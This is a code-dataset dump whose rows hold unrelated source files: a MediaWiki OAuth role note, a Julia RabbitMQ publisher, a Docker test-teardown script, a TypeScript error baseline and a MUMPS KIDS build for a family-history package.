content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
sequencelengths 1
8
|
---|---|---|---|---|---|
Use Wikimedia identities to log in. This uses a predefined consumer
([https://meta.wikimedia.org/wiki/Special:OAuthListConsumers/view/7e5461e6907ad6ed43684793046fd3a9 7e5461e6907ad6ed43684793046fd3a9])
and the secret key of that consumer is part of the MediaWiki-Vagrant
code and thus public, which makes it somewhat insecure. It should
be good enough for development, though (the consumer does not have
permissions to do anything, and the only information it can leak
is the fact that you have authorized it).
The Vagrant box must be available at the IP address 127.0.0.1 for the
role to work (the port number can be arbitrary).
| MediaWiki | 2 | mitre/mediawiki-vagrant | puppet/modules/role/files/oauthauthentication/VagrantRoleOAuthAuthentication.wiki | [
"FSFAP"
] |
using AMQPClient
const VIRTUALHOST = "/"
const HOST = "127.0.0.1"
function send()
# 1. Create a connection to the localhost or 127.0.0.1 of virtualhost '/'
connection(; virtualhost=VIRTUALHOST, host=HOST) do conn
# 2. Create a channel to send messages
channel(conn, AMQPClient.UNUSED_CHANNEL, true) do chan
# 3. Declare exchange
exchange = "direct_logs"
exchange_declare(chan, exchange, EXCHANGE_TYPE_DIRECT)
# 4. Get severity and message
if length(Base.ARGS) >= 3
severity = Base.ARGS[1]
received = join(Base.ARGS[2:end], ' ')
else
severity = "info"
received = "Hello World"
end
data = convert(Vector{UInt8}, codeunits(received))
msg = Message(data, content_type="text/plain", delivery_mode=PERSISTENT)
# 5. Publish the message
basic_publish(chan, msg; exchange=exchange, routing_key=severity)
println("Message sent: $received, Severity: $severity")
end
end
end
send()
| Julia | 5 | muhammadali8767/rabbit_php | julia/emit_log_direct.jl | [
"Apache-2.0"
] |
#!/bin/bash
docker stop spring-data-mongodb-live-test
docker rm spring-data-mongodb-live-test
| Shell | 3 | DBatOWL/tutorials | persistence-modules/spring-data-mongodb/src/live-test/resources/live-test-teardown.sh | [
"MIT"
] |
tests/cases/compiler/main.ts(1,20): error TS2497: This module can only be referenced with ECMAScript imports/exports by turning on the 'esModuleInterop' flag and referencing its default export.
==== tests/cases/compiler/a.ts (0 errors) ====
class a { }
export = a;
==== tests/cases/compiler/main.ts (1 errors) ====
import * as a from "./a";
~~~~~
!!! error TS2497: This module can only be referenced with ECMAScript imports/exports by turning on the 'esModuleInterop' flag and referencing its default export.
a;
| Text | 3 | monciego/TypeScript | tests/baselines/reference/es6ImportEqualsExportModuleCommonJsError.errors.txt | [
"Apache-2.0"
] |
KIDS Distribution saved on Sep 03, 2015@16:03:22
FAMILY HISTORY 1.0
**KIDS**:FAMILY HISTORY 1.0^
**INSTALL NAME**
FAMILY HISTORY 1.0
"BLD",8515,0)
FAMILY HISTORY 1.0^^0^3150903^n
"BLD",8515,4,0)
^9.64PA^9000014.1^3
"BLD",8515,4,9000014,0)
9000014
"BLD",8515,4,9000014,222)
y^y^f^^^^n
"BLD",8515,4,9000014.1,0)
9000014.1
"BLD",8515,4,9000014.1,222)
y^y^f^^^^n
"BLD",8515,4,9999999.36,0)
9999999.36
"BLD",8515,4,9999999.36,222)
y^y^f^^n^^y^o^n
"BLD",8515,4,"B",9000014,9000014)
"BLD",8515,4,"B",9000014.1,9000014.1)
"BLD",8515,4,"B",9999999.36,9999999.36)
"BLD",8515,6.3)
22
"BLD",8515,"KRN",0)
^9.67PA^9002226^21
"BLD",8515,"KRN",.4,0)
.4
"BLD",8515,"KRN",.4,"NM",0)
^9.68A^^
"BLD",8515,"KRN",.401,0)
.401
"BLD",8515,"KRN",.402,0)
.402
"BLD",8515,"KRN",.403,0)
.403
"BLD",8515,"KRN",.5,0)
.5
"BLD",8515,"KRN",.84,0)
.84
"BLD",8515,"KRN",3.6,0)
3.6
"BLD",8515,"KRN",3.8,0)
3.8
"BLD",8515,"KRN",9.2,0)
9.2
"BLD",8515,"KRN",9.8,0)
9.8
"BLD",8515,"KRN",9.8,"NM",0)
^9.68A^3^3
"BLD",8515,"KRN",9.8,"NM",1,0)
BGOFHLK^^0^B5199565
"BLD",8515,"KRN",9.8,"NM",2,0)
BGOFHX^^0^B29325355
"BLD",8515,"KRN",9.8,"NM",3,0)
BGOREL^^0^B10927542
"BLD",8515,"KRN",9.8,"NM","B","BGOFHLK",1)
"BLD",8515,"KRN",9.8,"NM","B","BGOFHX",2)
"BLD",8515,"KRN",9.8,"NM","B","BGOREL",3)
"BLD",8515,"KRN",19,0)
19
"BLD",8515,"KRN",19,"NM",0)
^9.68A^^
"BLD",8515,"KRN",19.1,0)
19.1
"BLD",8515,"KRN",101,0)
101
"BLD",8515,"KRN",409.61,0)
409.61
"BLD",8515,"KRN",771,0)
771
"BLD",8515,"KRN",779.2,0)
779.2
"BLD",8515,"KRN",870,0)
870
"BLD",8515,"KRN",8989.51,0)
8989.51
"BLD",8515,"KRN",8989.51,"NM",0)
^9.68A^^
"BLD",8515,"KRN",8989.52,0)
8989.52
"BLD",8515,"KRN",8994,0)
8994
"BLD",8515,"KRN",8994,"NM",0)
^9.68A^4^4
"BLD",8515,"KRN",8994,"NM",1,0)
BGOFHX DEL^^0
"BLD",8515,"KRN",8994,"NM",2,0)
BGOFHX GET^^0
"BLD",8515,"KRN",8994,"NM",3,0)
BGOFHX ICDLKUP^^0
"BLD",8515,"KRN",8994,"NM",4,0)
BGOFHX SET^^0
"BLD",8515,"KRN",8994,"NM","B","BGOFHX DEL",1)
"BLD",8515,"KRN",8994,"NM","B","BGOFHX GET",2)
"BLD",8515,"KRN",8994,"NM","B","BGOFHX ICDLKUP",3)
"BLD",8515,"KRN",8994,"NM","B","BGOFHX SET",4)
"BLD",8515,"KRN",9002226,0)
9002226
"BLD",8515,"KRN","B",.4,.4)
"BLD",8515,"KRN","B",.401,.401)
"BLD",8515,"KRN","B",.402,.402)
"BLD",8515,"KRN","B",.403,.403)
"BLD",8515,"KRN","B",.5,.5)
"BLD",8515,"KRN","B",.84,.84)
"BLD",8515,"KRN","B",3.6,3.6)
"BLD",8515,"KRN","B",3.8,3.8)
"BLD",8515,"KRN","B",9.2,9.2)
"BLD",8515,"KRN","B",9.8,9.8)
"BLD",8515,"KRN","B",19,19)
"BLD",8515,"KRN","B",19.1,19.1)
"BLD",8515,"KRN","B",101,101)
"BLD",8515,"KRN","B",409.61,409.61)
"BLD",8515,"KRN","B",771,771)
"BLD",8515,"KRN","B",779.2,779.2)
"BLD",8515,"KRN","B",870,870)
"BLD",8515,"KRN","B",8989.51,8989.51)
"BLD",8515,"KRN","B",8989.52,8989.52)
"BLD",8515,"KRN","B",8994,8994)
"BLD",8515,"KRN","B",9002226,9002226)
"DATA",9999999.36,1,0)
FAMILY MEMBER
"DATA",9999999.36,1,21)
1^^^FAMMEMB
"DATA",9999999.36,1,99)
4
"DATA",9999999.36,2,0)
CHILD
"DATA",9999999.36,2,21)
1^^^CHILD
"DATA",9999999.36,2,99)
4
"DATA",9999999.36,3,0)
ADOPTED CHILD
"DATA",9999999.36,3,21)
1^^^CHLDADOPT
"DATA",9999999.36,3,99)
4
"DATA",9999999.36,4,0)
ADOPTED DAUGHTER
"DATA",9999999.36,4,21)
1^^^DAUADOPT
"DATA",9999999.36,4,99)
2
"DATA",9999999.36,5,0)
ADOPTED SON
"DATA",9999999.36,5,21)
1^^^SONADOPT
"DATA",9999999.36,5,99)
1
"DATA",9999999.36,6,0)
FOSTER CHILD
"DATA",9999999.36,6,21)
1^^^CHLDFOST
"DATA",9999999.36,6,99)
4
"DATA",9999999.36,7,0)
FOSTER DAUGHTER
"DATA",9999999.36,7,21)
1^^^DAUFOST
"DATA",9999999.36,7,99)
2
"DATA",9999999.36,8,0)
FOSTER SON
"DATA",9999999.36,8,21)
1^^^SONFOST
"DATA",9999999.36,8,99)
1
"DATA",9999999.36,9,0)
DAUGHTER
"DATA",9999999.36,9,21)
1^^^DAUC
"DATA",9999999.36,9,99)
2
"DATA",9999999.36,10,0)
NATURAL DAUGHTER
"DATA",9999999.36,10,21)
1^^^DAU
"DATA",9999999.36,10,99)
2
"DATA",9999999.36,11,0)
STEPDAUGHTER
"DATA",9999999.36,11,21)
1^^^STPDAU
"DATA",9999999.36,11,99)
2
"DATA",9999999.36,12,0)
NATURAL CHILD
"DATA",9999999.36,12,21)
1^^^NCHILD
"DATA",9999999.36,12,99)
4
"DATA",9999999.36,13,0)
NATURAL SON
"DATA",9999999.36,13,21)
1^^^SON
"DATA",9999999.36,13,99)
1
"DATA",9999999.36,14,0)
SON
"DATA",9999999.36,14,21)
1^^^SONC
"DATA",9999999.36,14,99)
1
"DATA",9999999.36,15,0)
STEPSON
"DATA",9999999.36,15,21)
1^^^STPSON
"DATA",9999999.36,15,99)
1
"DATA",9999999.36,16,0)
STEP CHILD
"DATA",9999999.36,16,21)
1^^^STPCHLD
"DATA",9999999.36,16,99)
4
"DATA",9999999.36,17,0)
EXTENDED FAMILY MEMBER
"DATA",9999999.36,17,21)
1^^^EXT
"DATA",9999999.36,17,99)
4
"DATA",9999999.36,18,0)
AUNT
"DATA",9999999.36,18,21)
1^^^AUNT
"DATA",9999999.36,18,99)
2
"DATA",9999999.36,19,0)
MATERNAL AUNT
"DATA",9999999.36,19,21)
1^^^MAUNT
"DATA",9999999.36,19,99)
2
"DATA",9999999.36,20,0)
PATERNAL AUNT
"DATA",9999999.36,20,21)
1^^^PAUNT
"DATA",9999999.36,20,99)
2
"DATA",9999999.36,21,0)
COUSIN
"DATA",9999999.36,21,21)
1^^^COUSN
"DATA",9999999.36,21,99)
4
"DATA",9999999.36,22,0)
MATERNAL COUSIN
"DATA",9999999.36,22,21)
1^^^MCOUSN
"DATA",9999999.36,22,99)
4
"DATA",9999999.36,23,0)
PATERNAL COUSIN
"DATA",9999999.36,23,21)
1^^^PCOUSN
"DATA",9999999.36,23,99)
4
"DATA",9999999.36,24,0)
GREAT GRANDPARENT
"DATA",9999999.36,24,21)
1^^^GGRPRN
"DATA",9999999.36,24,99)
4
"DATA",9999999.36,25,0)
GREAT GRANDFATHER
"DATA",9999999.36,25,21)
1^^^GGRFTH
"DATA",9999999.36,25,99)
1
"DATA",9999999.36,26,0)
MATERNAL GREAT-GRANDFATHER
"DATA",9999999.36,26,21)
1^^^MGGRFTH
"DATA",9999999.36,26,99)
1
"DATA",9999999.36,27,0)
PATERNAL GREAT-GRANDFATHER
"DATA",9999999.36,27,21)
1^^^PGGRFTH
"DATA",9999999.36,27,99)
1
"DATA",9999999.36,28,0)
GREAT GRANDMOTHER
"DATA",9999999.36,28,21)
1^^^GGRMTH
"DATA",9999999.36,28,99)
2
"DATA",9999999.36,29,0)
MATERNAL GREAT-GRANDMOTHER
"DATA",9999999.36,29,21)
1^^^MGGRMTH
"DATA",9999999.36,29,99)
2
"DATA",9999999.36,30,0)
PATERNAL GREAT-GRANDMOTHER
"DATA",9999999.36,30,21)
1^^^PGGRMTH
"DATA",9999999.36,30,99)
2
"DATA",9999999.36,31,0)
MATERNAL GREAT-GRANDPARENT
"DATA",9999999.36,31,21)
1^^^MGGRPRN
"DATA",9999999.36,31,99)
4
"DATA",9999999.36,32,0)
PATERNAL GREAT-GRANDPARENT
"DATA",9999999.36,32,21)
1^^^PGGRPRN
"DATA",9999999.36,32,99)
4
"DATA",9999999.36,33,0)
GRANDCHILD
"DATA",9999999.36,33,21)
1^^^GRNDCHILD
"DATA",9999999.36,33,99)
4
"DATA",9999999.36,34,0)
GRANDDAUGHTER
"DATA",9999999.36,34,21)
1^^^GRNDDAU
"DATA",9999999.36,34,99)
2
"DATA",9999999.36,35,0)
GRANDSON
"DATA",9999999.36,35,21)
1^^^GRNDSON
"DATA",9999999.36,35,99)
1
"DATA",9999999.36,36,0)
GRANDPARENT
"DATA",9999999.36,36,21)
1^^^GRPRN
"DATA",9999999.36,36,99)
4
"DATA",9999999.36,37,0)
GRANDFATHER
"DATA",9999999.36,37,21)
1^^^GRFTH
"DATA",9999999.36,37,99)
1
"DATA",9999999.36,38,0)
MATERNAL GRANDFATHER
"DATA",9999999.36,38,21)
1^^^MGRFTH
"DATA",9999999.36,38,99)
1
"DATA",9999999.36,39,0)
PATERNAL GRANDFATHER
"DATA",9999999.36,39,21)
1^^^PGRFTH
"DATA",9999999.36,39,99)
1
"DATA",9999999.36,40,0)
GRANDMOTHER
"DATA",9999999.36,40,21)
1^^^GRMTH
"DATA",9999999.36,40,99)
2
"DATA",9999999.36,41,0)
MATERNAL GRANDMOTHER
"DATA",9999999.36,41,21)
1^^^MGRMTH
"DATA",9999999.36,41,99)
2
"DATA",9999999.36,42,0)
PATERNAL GRANDMOTHER
"DATA",9999999.36,42,21)
1^^^PGRMTH
"DATA",9999999.36,42,99)
2
"DATA",9999999.36,43,0)
MATERNAL GRANDPARENT
"DATA",9999999.36,43,21)
1^^^MGRPRN
"DATA",9999999.36,43,99)
4
"DATA",9999999.36,44,0)
PATERNAL GRANDPARENT
"DATA",9999999.36,44,21)
1^^^PGRPRN
"DATA",9999999.36,44,99)
4
"DATA",9999999.36,45,0)
INLAW
"DATA",9999999.36,45,21)
1^^^INLAW
"DATA",9999999.36,45,99)
4
"DATA",9999999.36,46,0)
CHILD-IN-LAW
"DATA",9999999.36,46,21)
1^^^CHLDINLAW
"DATA",9999999.36,46,99)
4
"DATA",9999999.36,47,0)
DAUGHTER IN-LAW
"DATA",9999999.36,47,21)
1^^^DAUINLAW
"DATA",9999999.36,47,99)
2
"DATA",9999999.36,48,0)
SON IN-LAW
"DATA",9999999.36,48,21)
1^^^SONINLAW
"DATA",9999999.36,48,99)
1
"DATA",9999999.36,49,0)
PARENT IN-LAW
"DATA",9999999.36,49,21)
1^^^PRNINLAW
"DATA",9999999.36,49,99)
4
"DATA",9999999.36,50,0)
FATHER-IN-LAW
"DATA",9999999.36,50,21)
1^^^FTHINLAW
"DATA",9999999.36,50,99)
1
"DATA",9999999.36,51,0)
MOTHER-IN-LAW
"DATA",9999999.36,51,21)
1^^^MTHINLAW
"DATA",9999999.36,51,99)
2
"DATA",9999999.36,52,0)
SIBLING IN-LAW
"DATA",9999999.36,52,21)
1^^^SIBINLAW
"DATA",9999999.36,52,99)
4
"DATA",9999999.36,53,0)
BROTHER-IN-LAW
"DATA",9999999.36,53,21)
1^^^BROINLAW
"DATA",9999999.36,53,99)
1
"DATA",9999999.36,54,0)
SISTER-IN-LAW
"DATA",9999999.36,54,21)
1^^^SISINLAW
"DATA",9999999.36,54,99)
2
"DATA",9999999.36,55,0)
NIECE/NEPHEW
"DATA",9999999.36,55,21)
1^^^NIENEPH
"DATA",9999999.36,55,99)
4
"DATA",9999999.36,56,0)
NEPHEW
"DATA",9999999.36,56,21)
1^^^NEPHEW
"DATA",9999999.36,56,99)
1
"DATA",9999999.36,57,0)
NIECE
"DATA",9999999.36,57,21)
1^^^NIECE
"DATA",9999999.36,57,99)
2
"DATA",9999999.36,58,0)
UNCLE
"DATA",9999999.36,58,21)
1^^^UNCLE
"DATA",9999999.36,58,99)
1
"DATA",9999999.36,59,0)
MATERNAL UNCLE
"DATA",9999999.36,59,21)
1^^^MUNCLE
"DATA",9999999.36,59,99)
1
"DATA",9999999.36,60,0)
PATERNAL UNCLE
"DATA",9999999.36,60,21)
1^^^PUNCLE
"DATA",9999999.36,60,99)
1
"DATA",9999999.36,61,0)
PARENT
"DATA",9999999.36,61,21)
1^^^PRN
"DATA",9999999.36,61,99)
4
"DATA",9999999.36,62,0)
ADOPTIVE PARENT
"DATA",9999999.36,62,21)
1^^^ADOPTP
"DATA",9999999.36,62,99)
4
"DATA",9999999.36,63,0)
ADOPTIVE FATHER
"DATA",9999999.36,63,21)
1^^^ADOPTF
"DATA",9999999.36,63,99)
1
"DATA",9999999.36,64,0)
ADOPTIVE MOTHER
"DATA",9999999.36,64,21)
1^^^ADOPTM
"DATA",9999999.36,64,99)
2
"DATA",9999999.36,65,0)
FATHER
"DATA",9999999.36,65,21)
1^^^FTH
"DATA",9999999.36,65,99)
1
"DATA",9999999.36,66,0)
FOSTER FATHER
"DATA",9999999.36,66,21)
1^^^FTHFOST
"DATA",9999999.36,66,99)
1
"DATA",9999999.36,67,0)
NATURAL FATHER
"DATA",9999999.36,67,21)
1^^^NFTH
"DATA",9999999.36,67,99)
1
"DATA",9999999.36,68,0)
NATURAL FATHER OF FETUS
"DATA",9999999.36,68,21)
1^^^NFTHF
"DATA",9999999.36,68,99)
1
"DATA",9999999.36,69,0)
STEPFATHER
"DATA",9999999.36,69,21)
1^^^STPFTH
"DATA",9999999.36,69,99)
1
"DATA",9999999.36,70,0)
MOTHER
"DATA",9999999.36,70,21)
1^^^MTH
"DATA",9999999.36,70,99)
2
"DATA",9999999.36,71,0)
GESTATIONAL MOTHER
"DATA",9999999.36,71,21)
1^^^GESTM
"DATA",9999999.36,71,99)
2
"DATA",9999999.36,72,0)
FOSTER MOTHER
"DATA",9999999.36,72,21)
1^^^MTHFOST
"DATA",9999999.36,72,99)
2
"DATA",9999999.36,73,0)
NATURAL MOTHER
"DATA",9999999.36,73,21)
1^^^NMTH
"DATA",9999999.36,73,99)
2
"DATA",9999999.36,74,0)
NATURAL MOTHER OF FETUS
"DATA",9999999.36,74,21)
1^^^NMTHF
"DATA",9999999.36,74,99)
2
"DATA",9999999.36,75,0)
STEPMOTHER
"DATA",9999999.36,75,21)
1^^^STPMTH
"DATA",9999999.36,75,99)
2
"DATA",9999999.36,76,0)
NATURAL PARENT
"DATA",9999999.36,76,21)
1^^^NPRN
"DATA",9999999.36,76,99)
4
"DATA",9999999.36,77,0)
FOSTER PARENT
"DATA",9999999.36,77,21)
1^^^PRNFOST
"DATA",9999999.36,77,99)
4
"DATA",9999999.36,78,0)
STEP PARENT
"DATA",9999999.36,78,21)
1^^^STPPRN
"DATA",9999999.36,78,99)
4
"DATA",9999999.36,79,0)
SIBLING
"DATA",9999999.36,79,21)
1^^^SIB
"DATA",9999999.36,79,99)
4
"DATA",9999999.36,80,0)
BROTHER
"DATA",9999999.36,80,21)
1^^^BRO
"DATA",9999999.36,80,99)
1
"DATA",9999999.36,81,0)
HALF-BROTHER
"DATA",9999999.36,81,21)
1^^^HBRO
"DATA",9999999.36,81,99)
1
"DATA",9999999.36,82,0)
NATURAL BROTHER
"DATA",9999999.36,82,21)
1^^^NBRO
"DATA",9999999.36,82,99)
1
"DATA",9999999.36,83,0)
TWIN BROTHER
"DATA",9999999.36,83,21)
1^^^TWINBRO
"DATA",9999999.36,83,99)
1
"DATA",9999999.36,84,0)
FRATERNAL TWIN BROTHER
"DATA",9999999.36,84,21)
1^^^FTWINBRO
"DATA",9999999.36,84,99)
1
"DATA",9999999.36,85,0)
IDENTICAL TWIN BROTHER
"DATA",9999999.36,85,21)
1^^^ITWINBRO
"DATA",9999999.36,85,99)
1
"DATA",9999999.36,86,0)
STEPBROTHER
"DATA",9999999.36,86,21)
1^^^STPBRO
"DATA",9999999.36,86,99)
1
"DATA",9999999.36,87,0)
HALF-SIBLING
"DATA",9999999.36,87,21)
1^^^HSIB
"DATA",9999999.36,87,99)
4
"DATA",9999999.36,88,0)
HALF-SISTER
"DATA",9999999.36,88,21)
1^^^HSIS
"DATA",9999999.36,88,99)
2
"DATA",9999999.36,89,0)
NATURAL SIBLING
"DATA",9999999.36,89,21)
1^^^NSIB
"DATA",9999999.36,89,99)
4
"DATA",9999999.36,90,0)
NATURAL SISTER
"DATA",9999999.36,90,21)
1^^^NSIS
"DATA",9999999.36,90,99)
2
"DATA",9999999.36,91,0)
TWIN SISTER
"DATA",9999999.36,91,21)
1^^^TWINSIS
"DATA",9999999.36,91,99)
2
"DATA",9999999.36,92,0)
FRATERNAL TWIN SISTER
"DATA",9999999.36,92,21)
1^^^FTWINSIS
"DATA",9999999.36,92,99)
2
"DATA",9999999.36,93,0)
IDENTICAL TWIN SISTER
"DATA",9999999.36,93,21)
1^^^ITWINSIS
"DATA",9999999.36,93,99)
2
"DATA",9999999.36,94,0)
TWIN
"DATA",9999999.36,94,21)
1^^^TWIN
"DATA",9999999.36,94,99)
4
"DATA",9999999.36,95,0)
FRATERNAL TWIN
"DATA",9999999.36,95,21)
1^^^FTWIN
"DATA",9999999.36,95,99)
4
"DATA",9999999.36,96,0)
IDENTICAL TWIN
"DATA",9999999.36,96,21)
1^^^ITWIN
"DATA",9999999.36,96,99)
4
"DATA",9999999.36,97,0)
SISTER
"DATA",9999999.36,97,21)
1^^^SIS
"DATA",9999999.36,97,99)
2
"DATA",9999999.36,98,0)
STEPSISTER
"DATA",9999999.36,98,21)
1^^^STPSIS
"DATA",9999999.36,98,99)
2
"DATA",9999999.36,99,0)
STEP SIBLING
"DATA",9999999.36,99,21)
1^^^STPSIB
"DATA",9999999.36,99,99)
4
"DATA",9999999.36,100,0)
SIGNIFICANT OTHER
"DATA",9999999.36,100,21)
1^^^SIGOTHR
"DATA",9999999.36,100,99)
4
"DATA",9999999.36,101,0)
DOMESTIC PARTNER
"DATA",9999999.36,101,21)
1^^^DOMPART
"DATA",9999999.36,101,99)
4
"DATA",9999999.36,102,0)
FORMER SPOUSE
"DATA",9999999.36,102,21)
1^^^FMRSPS
"DATA",9999999.36,102,99)
4
"DATA",9999999.36,103,0)
SPOUSE
"DATA",9999999.36,103,21)
1^^^SPS
"DATA",9999999.36,103,99)
4
"DATA",9999999.36,104,0)
HUSBAND
"DATA",9999999.36,104,21)
1^^^HUSB
"DATA",9999999.36,104,99)
1
"DATA",9999999.36,105,0)
WIFE
"DATA",9999999.36,105,21)
1^^^WIFE
"DATA",9999999.36,105,99)
2
"FIA",9000014)
FAMILY HISTORY
"FIA",9000014,0)
^AUPNFH(
"FIA",9000014,0,0)
9000014IP
"FIA",9000014,0,1)
y^y^f^^^^n
"FIA",9000014,0,10)
"FIA",9000014,0,11)
"FIA",9000014,0,"RLRO")
"FIA",9000014,9000014)
0
"FIA",9000014,9000014.11)
0
"FIA",9000014.1)
FAMILY HISTORY FAMILY MEMBERS
"FIA",9000014.1,0)
^AUPNFHR(
"FIA",9000014.1,0,0)
9000014.1P
"FIA",9000014.1,0,1)
y^y^f^^^^n
"FIA",9000014.1,0,10)
"FIA",9000014.1,0,11)
"FIA",9000014.1,0,"RLRO")
"FIA",9000014.1,9000014.1)
0
"FIA",9999999.36)
RELATIONSHIP
"FIA",9999999.36,0)
^AUTTRLSH(
"FIA",9999999.36,0,0)
9999999.36I
"FIA",9999999.36,0,1)
y^y^f^^n^^y^o^n
"FIA",9999999.36,0,10)
"FIA",9999999.36,0,11)
"FIA",9999999.36,0,"RLRO")
"FIA",9999999.36,9999999.36)
0
"KRN",8994,2772,-1)
0^1
"KRN",8994,2772,0)
BGOFHX DEL^DEL^BGOFHX^1
"KRN",8994,2772,1,0)
^8994.01^1^1^3090520^^
"KRN",8994,2772,1,1,0)
Delete family history dx or relationship
"KRN",8994,2772,2,0)
^8994.02A^1^1
"KRN",8994,2772,2,1,0)
INP^1^^1^1
"KRN",8994,2772,2,1,1,0)
^8994.021^2^2^3090520^^
"KRN",8994,2772,2,1,1,1,0)
Relationship IEN [1] ^ Family history IEN [2]
"KRN",8994,2772,2,1,1,2,0)
If the family history IEN is blank, the entire relationship and all dependents will be deleted
"KRN",8994,2772,2,"B","INP",1)
"KRN",8994,2772,2,"PARAMSEQ",1,1)
"KRN",8994,2772,3,0)
^8994.03^2^2^3090520^^
"KRN",8994,2772,3,1,0)
Failure -n^error text
"KRN",8994,2772,3,2,0)
Success: null
"KRN",8994,2773,-1)
0^2
"KRN",8994,2773,0)
BGOFHX GET^GET^BGOFHX^4^^^^1
"KRN",8994,2773,1,0)
^8994.01^1^1^3130426^^
"KRN",8994,2773,1,1,0)
Get family history members and their problems for a patient
"KRN",8994,2773,2,0)
^8994.02A^1^1
"KRN",8994,2773,2,1,0)
DFN^1^^1^1
"KRN",8994,2773,2,1,1,0)
^8994.021^1^1^3130426^^
"KRN",8994,2773,2,1,1,1,0)
Patient DFN (IEN)
"KRN",8994,2773,2,"B","DFN",1)
"KRN",8994,2773,2,"PARAMSEQ",1,1)
"KRN",8994,2773,3,0)
^^7^7^3130426.010302
"KRN",8994,2773,3,1,0)
List of records in the format:
"KRN",8994,2773,3,2,0)
Relationship IEN [1] Relationship [2] ^ Status [3] ^ Age at Death [4]
"KRN",8994,2773,3,3,0)
^ Cause of Death [5] ^ Multiple Birth [6] ^ Multiple Birth Type [7] ^
"KRN",8994,2773,3,4,0)
Condition [8] ^ Narrative [9] ^ [10] ^ Date Modified [11] ^
"KRN",8994,2773,3,5,0)
Description [12] ^Family HX IEN [13] ^ Age at Diagnosis [14] ^
"KRN",8994,2773,3,6,0)
Age at Diagnosis is approximate [15]
"KRN",8994,2773,3,7,0)
"KRN",8994,2774,-1)
0^3
"KRN",8994,2774,0)
BGOFHX ICDLKUP^ICDLKUP^BGOFHLK^4^^^^1
"KRN",8994,2774,1,0)
^8994.01^1^1^3090520^
"KRN",8994,2774,1,1,0)
ICD codes used for family history
"KRN",8994,2774,2,0)
^8994.02A^1^1
"KRN",8994,2774,2,1,0)
INP^1^^1^1
"KRN",8994,2774,2,1,1,0)
^8994.021^4^4^3090520^
"KRN",8994,2774,2,1,1,1,0)
Lookup ICD's matching input:
"KRN",8994,2774,2,1,1,2,0)
; INP = Lookup Value [1] ^ Visit Date [2] ^ Patient Gender [3]
"KRN",8994,2774,2,1,1,3,0)
; ^ FROM [4], TO [5]
"KRN",8994,2774,2,1,1,4,0)
"KRN",8994,2774,2,"B","INP",1)
"KRN",8994,2774,2,"PARAMSEQ",1,1)
"KRN",8994,2774,3,0)
^8994.03^3^3^3090520^
"KRN",8994,2774,3,1,0)
Returned as a list of records in the format:
"KRN",8994,2774,3,2,0)
; Descriptive Text [1] ^ ICD IEN [2] ^ Narrative Text [3]
"KRN",8994,2774,3,3,0)
"KRN",8994,2775,-1)
0^4
"KRN",8994,2775,0)
BGOFHX SET^SET^BGOREL^1
"KRN",8994,2775,1,0)
^8994.01^1^1^3130426^^^^
"KRN",8994,2775,1,1,0)
Add/edit a relationship and possibly a family history for this relationship
"KRN",8994,2775,2,0)
^8994.02A^2^2
"KRN",8994,2775,2,1,0)
DFN^1^^1^1
"KRN",8994,2775,2,1,1,0)
^8994.021^1^1^3130426^
"KRN",8994,2775,2,1,1,1,0)
The Patient's IEN
"KRN",8994,2775,2,1,1,2,0)
INP=Patient IEN [1] ^ Relationship ien [2] ^ Relationship [3] ^
"KRN",8994,2775,2,1,1,3,0)
Relationship Desc [4] ^ Status [5] ^ Age at Death [6]
"KRN",8994,2775,2,1,1,4,0)
Cause of Death [7] ^ Multiple Birth [8] ^ Multiple Birth Type [9]
"KRN",8994,2775,2,1,1,5,0)
^DX [10] ^ Narrative [11] ^ Age at Onset [12] ^ Fien [13]
"KRN",8994,2775,2,1,1,6,0)
"KRN",8994,2775,2,2,0)
INP^2^^1^2
"KRN",8994,2775,2,2,1,0)
^^9^9^3130426.021852
"KRN",8994,2775,2,2,1,1,0)
There are two formats for data in this list, based on the value of the first
"KRN",8994,2775,2,2,1,2,0)
piece of each line:
"KRN",8994,2775,2,2,1,3,0)
"KRN",8994,2775,2,2,1,4,0)
REL ^ Relationship ien [2] ^ Relationship [3] ^ Relationship Desc [4] ^
"KRN",8994,2775,2,2,1,5,0)
Status [5] ^ Age at Death [6] ^ Cause of Death [7] ^ Multiple Birth [8] ^
"KRN",8994,2775,2,2,1,6,0)
Multiple Birth Type [9]
"KRN",8994,2775,2,2,1,7,0)
"KRN",8994,2775,2,2,1,8,0)
FHX ^ Family HS IEN [2]^ DX [3] ^ Narrative [4] ^ DX Age [5] ^
"KRN",8994,2775,2,2,1,9,0)
DX Age Approximate [6]
"KRN",8994,2775,2,"B","DFN",1)
"KRN",8994,2775,2,"B","INP",1)
"KRN",8994,2775,2,"B","INP",2)
"KRN",8994,2775,2,"PARAMSEQ",1,1)
"KRN",8994,2775,2,"PARAMSEQ",2,2)
"KRN",8994,2775,3,0)
^8994.03^2^2^3130426^^^^
"KRN",8994,2775,3,1,0)
Failure: -n^error text
"KRN",8994,2775,3,2,0)
Success: Relationship IEN^FAMILY HISTORY IEN
"MBREQ")
0
"ORD",16,8994)
8994;16;1;;;;;;;RPCDEL^XPDIA1
"ORD",16,8994,0)
REMOTE PROCEDURE
"QUES","XPF1",0)
Y
"QUES","XPF1","??")
^D REP^XPDH
"QUES","XPF1","A")
Shall I write over your |FLAG| File
"QUES","XPF1","B")
YES
"QUES","XPF1","M")
D XPF1^XPDIQ
"QUES","XPF2",0)
Y
"QUES","XPF2","??")
^D DTA^XPDH
"QUES","XPF2","A")
Want my data |FLAG| yours
"QUES","XPF2","B")
YES
"QUES","XPF2","M")
D XPF2^XPDIQ
"QUES","XPI1",0)
YO
"QUES","XPI1","??")
^D INHIBIT^XPDH
"QUES","XPI1","A")
Want KIDS to INHIBIT LOGONs during the install
"QUES","XPI1","B")
NO
"QUES","XPI1","M")
D XPI1^XPDIQ
"QUES","XPM1",0)
PO^VA(200,:EM
"QUES","XPM1","??")
^D MG^XPDH
"QUES","XPM1","A")
Enter the Coordinator for Mail Group '|FLAG|'
"QUES","XPM1","B")
"QUES","XPM1","M")
D XPM1^XPDIQ
"QUES","XPO1",0)
Y
"QUES","XPO1","??")
^D MENU^XPDH
"QUES","XPO1","A")
Want KIDS to Rebuild Menu Trees Upon Completion of Install
"QUES","XPO1","B")
NO
"QUES","XPO1","M")
D XPO1^XPDIQ
"QUES","XPZ1",0)
Y
"QUES","XPZ1","??")
^D OPT^XPDH
"QUES","XPZ1","A")
Want to DISABLE Scheduled Options, Menu Options, and Protocols
"QUES","XPZ1","B")
NO
"QUES","XPZ1","M")
D XPZ1^XPDIQ
"QUES","XPZ2",0)
Y
"QUES","XPZ2","??")
^D RTN^XPDH
